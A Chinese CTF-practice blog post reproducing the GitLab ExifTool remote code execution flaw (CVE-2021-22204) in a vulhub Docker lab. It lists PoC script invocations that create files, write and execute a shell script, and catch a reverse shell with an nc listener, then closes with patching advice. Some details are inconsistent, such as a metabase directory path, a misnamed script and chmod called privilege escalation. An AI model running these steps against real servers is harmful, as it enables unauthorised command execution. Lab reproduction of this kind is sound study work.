最近在准备ctf比赛,抽出时间复现了该漏洞,希望各位大佬多多指导。顺便求一位会ctfweb方面的大佬指点一下,不用多厉害,我ctfweb方面就是小白。。。。
文章目录
- 漏洞信息
- 影响版本
- gitlab漏洞环境
- shell反弹
- 修改方案
漏洞信息
GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204(ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.ioBackgroundhttps://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。
影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
gitlab漏洞环境
使用vulhub的docker环境
vulhub地址:Vulhub - Docker-Compose file for vulnerability environment
搭建过程
- 进入目标目录:cd /root/桌面/vulhub-master/metabase/CVE-2021-41277/
- 打开dockers容器:docker-compose up -d
- 查看主机IP地址:ifconfig
- 查看容器开启的端口:docker ps
- 地址加端口查看服务:http://192.168.162.129:8080
使用自带poc创建文件:
python poc.py http://192.168.162.129:8080 "touch /tmp/hello"
示例:
查看文件是否创建成功:
docker ps
docker exe -it ID(该id为docker ps查看到的第一个) /bin/bash
cd /tmp
ls
示例:
发现hello文件,文件上传成功。
shell反弹
下载POC:
将poc下载后拉入kali虚拟机内,在poc位置打开终端,检测漏洞是否存在。
python CVE-2021-2205.py -v true your-ip:8080
示例:
创建.sh文件:
python CVE-2021-2205.py -a true -t your-ip:8080/ "echo'反弹shell命令' >/shell.sh"
返回刚刚查看文件是否上传成功的终端再次查看文件是否上传成功:
直接ls命令查看:
示例:
对刚刚上传的shell.sh文件进行提权:
python CVE-2021-2205.py -a true -t your-ip:8080/ -c "chmod +x /tmp/shell.sh"
示例:(shell文件变成绿色,证明提权成功)
到nc所在虚拟机打开nc监听(我这里是又启用了一台win7虚拟机进行nc监听)
nc -lvnp 22314
进行shell反弹:
python CVE-2021-2205.py -a true -t your-ip:8080/ -c "/bin/bash /tmp/shell.sh"
示例:
反弹shell成功
示例:
至此,漏洞复现结束。
修改方案
1、及时升级GitLab至最新安全版本
2、配置访问控制策略,避免受影响的GitLab暴露在公网